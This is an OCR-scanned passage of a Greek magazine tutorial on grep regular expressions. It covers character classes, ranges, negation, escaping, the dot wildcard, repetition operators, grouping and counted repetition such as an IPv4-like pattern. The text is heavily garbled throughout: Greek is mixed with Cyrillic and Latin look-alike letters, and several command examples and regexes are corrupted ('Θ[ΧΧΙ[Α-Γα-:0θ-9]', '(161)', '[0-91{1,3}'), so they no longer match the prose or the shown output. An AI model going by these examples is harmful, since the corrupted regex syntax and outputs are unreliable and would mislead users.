µε κἀποιον μηχανισμὀ των κανονικῶν εκφράσεων. Στη συνέχεια θα γνωρίσουμε τις 
κλάσεις χαρακτήρων, το χαρακτήρα μπαλαντὲρ και τους χαρακτήρες επανάληψης. 
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Κλάσεις χαρακτήρων 
Υποθέστε бт! αναζητάμε οποιοδήποτε апо τα γράμματα а, P, о, А και s. Αν τα apa- 
διάζαμε στη σειρά, το grep θα προσπαθούσε να βρει το string "ЯРоАѕ" και, όπως 
καταλαβαίνετε, θα ἐψαχνε кат! εντελώς διαφορετικὀ απὸ αυτὀ που θέλουμε. П’ 
αυτές τις περιπτώσεις προσφέρονται οι λεγόμενες κλάσεις χαρακτήρων (character 
classes). Πρόκειται για σύνολα χαρακτήρων που μπορούμε να ορἰζουμε αυθαίρετα, 
εισάγοντας τους επιθυμητούς χαρακτήρες µέσα σε αγκύλες: 

$ grep "e[ar]" fruits.txt 

Blackberry 

Cherry 

Gooseberry 

Tangerine 

Peach 

Pineapple 

Raspberry 
H κανονικἠ ἐκφραση του παραπάνω παραδείγματος περιγράφει va string των δύο 


χαρακτήρων. О πρὠτος χαρακτήρας εἶναι το "е", ενώ ο δεύτερος χαρακτήρας pno- 
ркі να εἶναι οποιοσδήποτε апо τους "а" και "г". Πα λὀγους ευκολίας, σε µία κλάση 
μπορούμε να ορἰσουμε και περιοχὲς χαρακτήρων (character ranges). Δείτε ἑνα na- 


ράδειγμα και θα καταλάβετε αμέσως: 

$ grep "[0-9]" test.txt 

Ап addition: 1+2+3+4+5=15 

Some numbers: 21, 418, 63, 271, 93, 865, 49, 17 
Αυτἠ η κανονικἠ ἐκφραση περιγράφει va string του ενός χαρακτήρα, ο οποίος 
µπορεί να εἶναι οποιοσδήποτε μεταξὺ των "0", "1", ..., "9" Με αυτὸν τον τρὀπο περι- 
γράφουμε τα αριθµητικἀ ψηφία Жүшріс% να τα πληκτρολογήσουμε òda. Δείτε кі ἑνα 
πιο σύνθετο παράδειγµα: 

$ grep "Θ[ΧΧΙ[Α-Γα-:0θ-9][Α-Γα-{θ-9]" code.asm 

„еди parameters = дха7 

.equ phase_delta = 0x63 

.equ duration = 0x6d 

141 temp, ΘΧΕΕ 

andi counter, ΘΧΡ5 


Αυτἠ η кауоуікй ἐκφραση περιγράφει va string των τεσσάρων χαρακτήρων! О 
πρὠτος χαρακτήρας εἶναι ο "0", ενώ για καθέναν апо τους ἄλλους ορἰζεται µία αντἰ- 


στοιχη κλάση χαρακτήρων. H πρώτη κλάση περιλαμβάνει τους χαρακτήρες "х" και 
"X", ενώ η δεύτερη και η τρίτη κλάση περιλαμβάνουν όλα τα κεφαλαία γράμματα 
апо то "А" ως то "Е", όλα τα πεζά апд то "а" ως το "f" καθώς κι όλα τα αριθµητικἁ 
ψηφία. Τελικά, η παραπάνω κανονικἠ ἐκφραση περιγράφει τη μορφὴ µε την οποία 
αναπαρἰστανται οι (διψἠφιοι) δεκαεξαδικοἰ αριθμοί στις περισσότερες γλὠσσες npo- 


γραμματισμού! 
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Σε µια κλάση μπορούμε να συμπεριλάβουμε οποιονδήποτε χαρακτήρα — ακόµη και 
τις αγκύλες! H δεξιὰ αγκύλη, ὁμως, πρέπει να τοποθετεἰται πάντα *npiv* апо κάθε 
алло µέλος της κλάσης. Προσέξτε το ακόλουθο παράδειγµα: 


Ф grep "ПЕТ" test.txt 
[this] [is] [a] [test] [for] bracket-matching 


Εδώ ορίζουµε ша κλάση που περιλαμβάνει τη δεξιὰ αγκύλη και τον χαρακτήρα "t". 
H συγκεκριμένη κανονικἠ ἐκφραση περιγράφει ἑνα string του Жғудс% χαρακτήρα, ο 
οποίος µπορεί να εἰναι εἰτε η δεξιά αγκύλη εἶτε то "t". Δείτε тора κι AUTÒ: 


$ grep "[t]]" test.txt 
[this] [is] [a] [test] [for] bracket-matching 


Н δεξιὰ αγκύλη δεν έχει τοποθετηθεί σωστά μέσα στην κλάση χαρακτήρων! Ἔτσι, η 
συγκεκριμένη κανονικἠ ἐκφραση περιγράφει кат! διαφορετικὀ апо αυτὸ που θέλα- 
με: Ένα string των *6Úo* χαρακτήρων. О πρὠτος ανήκει στην κλάση µε μοναδικὀ 
στοιχείο το "t" και ο δεύτερος εἶναι εκεἰνος της δεξιὰς αγκύλης. Όπως βλέπετε, то 
αποτέλεσµα αυτἠς της αναζήτησης εἶναι διαφορετικό! 


Ας υποθέσουμε тора бт! αναζητάμε όλους τους χαρακτήρες *=єктос̧* апо та αριθ- 
μητικἁ ψηφία. Па το σκοπὀ αυτὀ χρειαζόμαστε µια κλάση, η οποία θα περιλαμβάνει 
όλους τους χαρακτήρες εκτὸς апо τα αριθμητικἁ ψηφία. Όπως καταλαβαίνετε, о opi- 
σμὀς µιας τέτοιας κλάσης απαιτεἰ αρκετἠ πληκτρολόγηση. Έτσι δεν εἶναι; E, λοιπὀν, 
µε τη βοήθεια της άρνησης ἡ αλλιώς αντιστροφἠς (negation), μπορούμε να ορἰσουμε 
αυτήν τη κλάση πανεύκολα: 


$ grep "[^0-9]" document.txt 


In the late 1950s and 1960s, American Airlines and I.B.M. teamed up to 
develop the Sabre computerized reservations system... 


Παρατηρείστε το χαρακτήρα του єкӨётп "^" (ονομάζεται caret) nou ἐχουμε Tono- 
θετήσει αµέσως μετά την αριστερἠ αγκύλη. Αυτὸς ο χαρακτήρας Ἑαντιστρέφειξ то 
περιεχόμενο της κλάσης. (Σ.τ.Ε. Ορίζει δηλαδἠ τη συμπληρωματική κλάση, ὁπως 
θα ἐλεγε ἑνας μαθηματικός.) Έτσι, аут! η κλάση να περιλαμβάνει όλα τα арібыптіка 
ψηφία, περιλαμβάνει ὀλους τους χαρακτήρες *єктос̧* апо τα αριθμητικἁ ψηφία. Te- 
λικά, η κανονική ἐκφραση του παραδείγματος ορίζει ёха string του ενὸς χαρακτήρα, 
ο οποίος µπορεί να εἶναι οποιοσδήποτε εκτός апо капою ψηφίο. Κι ὁπως βλέπετε 
апо το αποτέλεσµα του παραδείγματος, то grep βρήκε όλα τα σχετικἀ strings (χα- 
ρακτήρες). 


Απενεργοποίηση 


Πριν προχωρήσουμε οφείλουμε να σταθούμε σε ша λεπτομέρεια. Εἰδαμε бт! οι xapa- 
κτήρες "[", "]" και "^" επιδέχονται ειδικἠς ερμηνείας. Προκύπτει λοιπόν το ακόλουθο 
ερώτημα: Пос θα μπορούσαμε να τους χρησιμοποιήσουμε µε την κυριολεκτική τους 
ἐννοια; Па уа καταργήσουμε την ειδικἠ ερμηνεία ενὸς ειδικού χαρακτήρα, πρέπει 
να κάνουμε το λεγόμενο escaping. Αυτό επιτυγχάνεται τοποθετώντας πριν апо τον 
ειδικὀ χαρακτήρα τον (ακόµα πιο ειδικό) χαρακτήρα "\" (backslash). Δείτε ἑνα na- 
ράδειγµα: 


$ grep "N[t" test.txt 
[this] [is] [a] [test] [for] bracket-matching 
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H παραπάνω κανονικἠ Екфраоп περιγράφει ¿va string των δύο χαρακτήρων. O πρὀ- 
τος εἶναι πάντα η αριστερἠ αγκύλη, ενώ ο δεύτερος εἰναι πάντα το γράμμα "t". Па 
την κυριολεκτική χρήση της αριστερἠς αγκύλης (κι όχι για την έναρξη µιας κλάσης) 
τοποθετήσαμε то backslash αμέσως πριν τον αντίστοιχο χαρακτήρα. Το ἴδιο θα uno- 
ρούσαμε να κάνουμε και µε τον χαρακτήρα του εκθἐτη, ὁπως και µε όλους τους 
ειδικούς χαρακτήρες που θα δούμε στη συνέχεια. 


Εδὠ χρειάζεται λίγη προσοχή: Μέσα στις κλάσεις χαρακτήρων, οι περισσότεροι ειδι- 
кої χαρακτήρες απενεργοποιούνται εξ ορισμού. Επομένως, για να τους χρησιµοποι- 
ἠσουµμε µε την κυριολεκτικἠ ἐννοια, αρκεἰ να τους εισαγάγουµε μόνους τους (χωρἱς 
το χαρακτήρα "\" στ’ аріотера). Εξαίρεση αποτελούν οι χαρακτήρες "^" και "-" που 
μπορούν παἰξουν ειδικὀ ρόλο στον ορισμό της εκάστοτε κλάσης. Па уа τους χρη- 
σιμοποιήσουμε µε την κυριολεκτικἠ έννοια, πρέπει να τους τοποθετήσουµε σε pia 
жуп προβλεπὀμενηξ θέση. Н προβλεπόμενη θέση για τον εκθἑτη εἶναι αµέσως μετὰ 
την αριστερἠ αγκύλη, ενώ η προβλεπόμενη Oon για την παύλα εἶναι ανάµεσα σε 
οποιουσδήποτε δύο χαρακτήρες. Ας δούµε тора μερικἁ παραδεἰγµατα. 


$ grep "[0-9^]" test.txt 

Αυτἠ η κλάση περιἐχει όλα τα αριθμητικά ψηφία, καθὼς και το χαρακτήρα "^". 
$ grep "[5^а-2]" test.txt 

H συγκεκριμένη κλάση περιλαμβάνει όλα τα πεζἁ γράμματα, To "5" και то "^", 
$ grep "[09-1]" test.txt 


H κλάση στην παραπάνω κανονικἠ έκφραση περιλαμβάνει τα ψηφία "0" κι "9", όπως 
επἰσης και τον χαρακτήρα "-". Το ἰδιο ισχύει και στο ακόλουθο παράδειγµα: 


$ grep "[-09]" test.txt 


Μπαλαντἑρ 


Με τη βοήθεια των κλάσεων μπορούμε να περιγράψουμε ¿vav χαρακτήρα, δηλώὠνο- 
ντας бт! ανήκει σε κἄποιο σύνολο. Αυτό το σὐνολό, όμως, πρέπει να εἶναι ορισμένο 
µε απὀλυτη σαφήνεια. Αν θέλουμε να περιγράψουμε ¿vav οποιονδἠποτε χαρακτήρα, 
χωρίς κανέναν περιορισμὀ, πρέπει να χρησιμοποιήσουμε τον ειδικὀ χαρακτήρα της 
τελείας ".' (dot ñ period). Στις кауоуікес εκφράσεις, λοιπὀν, η τελεία λειτουργεί 
σαν μπαλαντὲρ κι αναφέρεται σε όλους τους εκτυπώσιµους χαρακτήρες καθώς και 
στους µη εκτυπώσιµους (tab, backspace, null κ.λπ.). O µοναδικὸς χαρακτήρας που 
ξεφεύγει апо την τελεία εἶναι ο χαρακτήρας αλλαγής γραμμής (newline character). 
Μάλιστα, επειδἠ ο συγκεκριμένος χαρακτήρας συμβολίζεται µε το "Nn", θα μπορού- 
сан уа πούμε От! η τελεἰα ισοδυναμεἰ µε την εξἠς κλάση [^\п]. Τελικά, μπορούμε 
και ме тіс κλάσεις να ορίσουμε οποιονδήποτε χαρακτήρα ;) 


Επαναλήψεις 


Με ооа ἐχουμε δει ως тора, μπορούμε να περιγράψουμε οποιονδήποτε μεμονωμένο 
χαρακτήρα. Τι γίνεται ὁμως όταν θέλουμε να περιγράψουμε va string οποιουδήποτε 
μήκους; Όπως υποψιάζεστε, υπάρχουν και γι’ αυτἠ τη δουλειά οι κατάλληλοι кібікпі 
χαρακτήρες. Αυτοί οι χαρακτήρες τοποθετούνται μετὰ апо µια κλάση, μετὰ апо τον 
μπαλαντὲρ ἡ μετὰ апо ёха μεμονωμένο χαρακτήρα και υπονοούν бт! то συγκεκριµέ- 
νο στοιχείο εμφανίζεται για άγνωστο πλήθος φορών. Αυτή η περιγραφή ὁμως εἶναι 
πολύ γενικὀλογη. Ας δούμε τους σχετικούς ειδικούς χαρακτήρες. 
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е Αστερἰσκος (%): Το στοιχείο που βρίσκεται арістера апо τον αστερἰσκο µπο- 
pgi να επαναλαμβάνεται апо μηδὲν ἑως άπειρες φορὲς! Με άλλα λόγια, το 
συγκεκριµένο στοιχείο ενδἐχεται να εμφανίζεται οσεσδήποτε φορὲς, µέσα στο 
string που περιγράφει η κανονικἠ &кфраоп. 

ο Σύμβολο πρὀσθεσης (+): Το στοιχείο που βρίσκεται αριστερἀ апо το σύμβο- 
Ло της πρὀσθεσης εμφανίζεται τουλάχιστον µία фора. 


ο Λατινικὀ ερωτηματικὀ (32): Το στοιχείο που βρίσκεται арістера апо το λατι- 
νικὸ ερωτηματικό ενδέχεται να εμφανίζεται то πολύ pia фора. Με άλλα λόγια, 
η παρουσἰα του εἶναι προαιρετικἠ. 


Νομίζουμε дті тора πρέπει να προχωρήσουμε σε μερικὰ παραδείγματα. 
$ grep "0Ь[01]*" code.asm 
ldi temp, 0500111111 
ldi temp, 0b11000000 
ldi steps, 0b00010011 
ldi counter, @b11101100 


Με αυτή την κανονικἡ ἐκφραση περιγράφουµε ἑνα string που ξεκινά µε то "ОБ" και 
συνεχίζει µε ἑνα άγνωστο πλήθος χαρακτήρων, καθένας апо τους οποἱους µπορεί 
να εἶναι "0" ἡ "1". Ας δούμε тора µια κανονικἠ ἐκφραση που εἰδαμε και νωρίτερα: 


$ grep "Θ[χΧ][8-{Α-ΕΘ-9][8-{Α-ΕΘ-9]" test.txt 
A ΡΘΧ and some numbers ΘΧθ 0x2 дхае ӨхҒ 0xffe3 0x22 


AuTñ η кауомкї ἐκφραση περιγράφει τους δεκαεξαδικούς αριθμούς, όπως εισἀγο- 
ута! στις περισσότερες γλὠσσες προγραμματισμού. Ωστόσο, η συγκεκριμένη Екфра- 
ση προὐποθέτει бт! οι αριθμοί εἶναι διψήφιοι. Έτσι, στο πλαίσιο του παραδεϊγµατος, 
το grep εντοπίζει δύο ολόκληρους αριθμούς κι vav ...катӣ το ἡμισυ. H συγκεκρι- 
μένη κανονικἠ έκφραση εἶναι "ελαττωματική", αλλά μπορούμε να τη βελτιώσουμε 
πολύ εὐκολα... 


$ grep "Ə[xX][a-fA-F0-9]+" test.txt 
А ΡΘΧ and some numbers 0x0 Өх2 Өхае Oxf ӨхҒҒеЗ 0x22 


Με τη χρήση του συμβόλου της πρὀσθεσης, δηλώνουμε дті To string καταλήγει σε 
Ἀτουλάχιστον ёуау* χαρακτήρα, о οποίος µπορεί να εἶναι οποιοδήποτε ψηφίο του 
δεκαεξαδικού αριθμητικού συστήµατος. Н συγκεκριμένη κανονικἠ ἐκφραση δεν θὲ- 
τει ἄνω ӧріо στο μήκος του αριθμού κι έτσι το grep τους εντοπίζει όλους. Αν στη 
θέση του συμβόλου της πρόσθεσης εἰχαμε χρησιμοποιήσει τον αστερἰσκο, τότε η 
κανονικἠ ἐκφραση δεν θα έθετε *кауёуау* περιορισμὸ στο μήκος του αριθμού. Με 
ἆλλα λόγια, θα περιέγραφε και τους αριθμούς που δεν ἐχουν Ἑκανένα” δεκαεξαδικὀ 
ψηφίο. Έτσι, το grep θα ἐδινε σαν αποτέλεσµα και το "0x", апо το "b0x": 

$ grep "Ə[xX][a-fA-F0-9]*" test.txt 

А b@x and some numbers 0х0 0x2 @xae Өх ӨхҒҒеЗ 0x22 
Ας δούμε кі ἑνα παράδειγµα µε To λατινικὀ =ротпратіко: 

$ grep "file[s]?" unix_fs.txt 

"On a UNIX system, everything is a flle; 
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if something is not a file, it is a process." 

This statement is true because there are special files 

that are more than just files (named pipes and sockets, for instance), 
but to keep things simple, saying that everything is a file is 

lese] 


Αυτἠ η κανονικἠ ἐκφραση περιγράφει та strings που ξεκινούν µε To "file" και npo- 
αιρετικἀ καταλήγουν σε éva "5". Έτσι, то grep εντοπίζει όλες τις εμφανίσεις των 
λέξεων "file" και "files". 

Σε αυτό το σηµείο εἶναι πολύ пібауд уа αναρωτιέστε то εξἠς: Τι γίνεται όταν θἑλου- 
µε να περιγράψουμε strings, στα οποία επαναλαμβάνεται ἑνα σύνολο χαρακτήρων; 
Ας υποθέσουμε бт! θέλουµε να περιγράψουμε τα strings που περιλαμβάνουν апо pia 
έως οσεσδήποτε επαναλήψεις του "101". Κάτι τέτοιο µπορεί να γίνει µε τη βοήθεια 
των παρενθέσεων, ως εξής: 


grep "(161)" some_file.txt 


Χρησιμοποιώντας τις παρενθέσεις, υποχρεώνουμε τον ειδικὀ χαρακτήρα της про- 
σθεσης να ισχύσει για ολόκληρο то "101". Με παρόμοιο τρόπο μπορούμε να περιγρά- 
ψουµε όλους τους δεκαεξαδικοὺς αριθμούς που έχουν ἁρτιο πλήθος ψηφίων: 


grep "ОГхХ1((а-ҒА-Ғ0-91|Га-ҒА-Ғ0-91|)-" some_file.txt 


Εδώ, το σύμβολο της πρὀσθεσης εφαρµόζεται στις δύο κλάσεις που περιλαμβάνει η 
παρένθεση. Αυτὲς οι δύο κλάσεις, όμως, περιγράφουν δύο ψηφία του δεκαεξαδικού 
αριθμητικού συστήματος. Έτσι, η ολοκληρωμένη κανονικἠ έκφραση περιγράφει ¿va 


string που ξεκινά µε το "0", συνεχίζει µε то "х" ἡ µε το "X" κι ολοκληρώνεται µε 
τουλάχιστον va ζευγάρι ψηφίων. 


Αν και θα το ἐχετε υποψιαστεί, οι παρενθέσεις συνεργάζονται ашоүа και µε τους 
υπόλοιπους ειδικοὐς χαρακτήρες που χρησιμοποιούνται για τις επαναλήψεις. Ap- 
γότερα, θα δούμε ὁτι οι παρενθέσεις λειτουργούν στις κανονικὲς εκφράσεις µε τον 
ἰδιο τρὀπο που λειτουργούν και στις αριθμητικές: Αλλάζουν, δηλαδή, τη σειρἁ των 
"πράξεων". Αυτό орос μπορείτε уа το ξεχάσετε για την ора ;) 


Ελεγχόμενη επανάληψη 


Πριν ολοκληρώσουμε την πρώτη µας επαφἠἡ µε τις кауоуікес εκφράσεις, οφείλουμε 
уа εξαντλήσουμε το ζήτημα των επαναλήψεων. Όπως Ехооне ξαναπεί, οι κανονικὲς 
εκφράσεις κρύβουν μεγάλη περιγραφική δύναμη. Επομένως, θα ἦταν τουλάχιστον 
παράξενο αν δεν επἐτρεπαν να προσδιορίσουμε ἑνα «συγκεκριμένος πλήθος ena- 
ναλήψεων για κάποιο στοιχείο. Αυτός ο προσδιορισμός επιτυγχάνεται µε τη βοήθεια 
των ἁγκιστρων. Πα την ακρίβεια, отау βάζουμε Еуау арӨро μέσα σε аүкістра, au- 
τὸς ο арібыдс προσδιορἰζει το πλήθος των επαναλήψεων του αμέσως προηγούμενου 
στοιχείου. Ας δούμε va παράδειγµα: 


$ ls -ІҺЕ ~/my_scripts | grep "(rwx){3}" 


H кауоуікй ἐκφραση που δίνουμε ото grep, περιγράφει va string που περιλαμβάνει 
τρεις φορὲς διαδοχικἁ το "rwx". Έτσι, µε την εκτέλεση του παραπάνω θα εµφανι- 
отоду τα αρχεἰα του καταλόγου —/my_ scripts, που στην ἐξοδο του ls -IhR περιλαμ- 
βάνουν το "rwxrwxrwx" (και ара εἶναι εκτελἐσιµα апо *ÓAÀouc* τους χρήστες του 
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συστήματος). Μέσα στα аүкістра, ὅμως, μπορούμε уа εισάγουµε και δύο αριθμούς, 
χωρισμένους µε κόμμα. Τότε, о πρῶτος αριθμός προσδιορίζει το ελάχιστο πλήθος 
επαναλήψεων και ο δεύτερος то рёүото. Ένα παράδειγµα θα βοηθήσει και πάλι: 


$ grep "[0-91{1,3}\.[9-91{1,3}\.[0-91{1,3}\.[0-9]{1,3}" арасһе.сопҒ 


Αμάν! Τι ἐχουμε εδώ; Αυτἠ η κανονικἠ ἐκφραση μοιάζει αρκετά περίπλοκη εκ про- 
της. Το string που περιγράφεται εδώ ξεκινά µε éva ἑως τρία αριθµητικἀ ψηφία. Στη 
συνέχει ακολουθεί µια τελεία (ο χαρακτήρας "\" απενεργοποιεί την ειδικἠ ερμηνεία 
της τελείας). Αμέσως μετά ἐχουμε пал! апо ἑνα ео τρία αριθμητικά ψηφία, ша 
ἄλλη τελεία, ἑνα ἄλλο σετ αριθµητικὠν ψηφίων, µια ακόμα τελεία κι ἑνα ακόμα 
σετ арібыптікоу ψηφίων. Μήπως αυτή η περιγραφή σας θυμίζει кеті; H парапа- 
vo) κανονικἠ Екфраоп περιγράφει τα strings που μοιάζουν µε διευθύνσεις IP! Στην 
πραγματικότητα όμως, η συγκεκριµἑνη κανονικἠ ἐκφραση περιγράφει και strings 
που δεν θα μπορούσαν να αποτελούν διευθύνσεις ЇР (π.χ., "000.023.135.152" ка! 
"643.121.122.174"). Όπως και να χει, µε τη βοήθεια αυτἠς της ἑκφρασης μπορούμε 
να εντοπἰσουμε ὀλες τις διευθύνσεις που περιἐχει ἑνα αρχείο ρυθμίσεων, κἀποιας 
δικτυακής υπηρεσίας. Екгі μέσα, εξάλλου, αποκλεἰεται να υπάρχουν ἄκυρα strings 
сау то "852.412.725.123". (Σ.τ.Ε. Μας βάζεις ιδέες, тора :Ὁ) 


(Να µην ξεχάσω να κἄνω εξἀσκηση){100} 


Οι кауомікес εκφράσεις περιλαμβάνουν αρκετούς και πολὺ ισχυρούς μηχανισμούς 
περιγραφής. Έτσι, εἶναι πολὺ εὐκολο να δημιουργήσουμε µια ἐκφραση που να nepi- 
γράφει τα επιθυμητά strings. Το како εἶναι ότι, πολὺ συχνὰ, οι εκφράσεις µας περι- 
γράφουν και strings που δεν θέλουμε! O μόνος τρόπος για να αποφύγει κανεὶς αυτόν 
τον κἰνδυνο, εἶναι να αποκτήσει τη µἐγιστη δυνατἠ εξοικείωση µε то συντακτικὀ των 
κανονικῶν εκφράσεων και τις ιδιαιτερὀτητὲς του. Φυσικά, προὐπόθεση αποτελεί και 
η δομημένη γνώση, σε αντιδιαστολἠ µε τη σκόρπια εμπειρία που πηγάζει апо τη 
χρήση "μερικών παραδειγμάτων που βρήκαμε εδώ κι εκεἰὶ στο δίκτυο". Σ΄ ато то 
арӨро γνωρίσαμε τους πιο βασικούς μηχανισμούς περιγραφἠς και βάλαμε та θεμέλια 
για να προχωρήσουμε σε ἄλλους, πιο εξεζητημένους! Αν θέλετε να μάθετε κι εσεὶς 
уа χειρἰζεστε τις κανονικές εκφράσεις, πρέπει να αρχίσετε την εξάσκηση апо тора. 
Κι αν πράγματι το αποφασίσετε και ξεκινήσετε, μπορούμε уа σας υποσχεθούμε бт! 
δεν θα то μετανιώσετε. 
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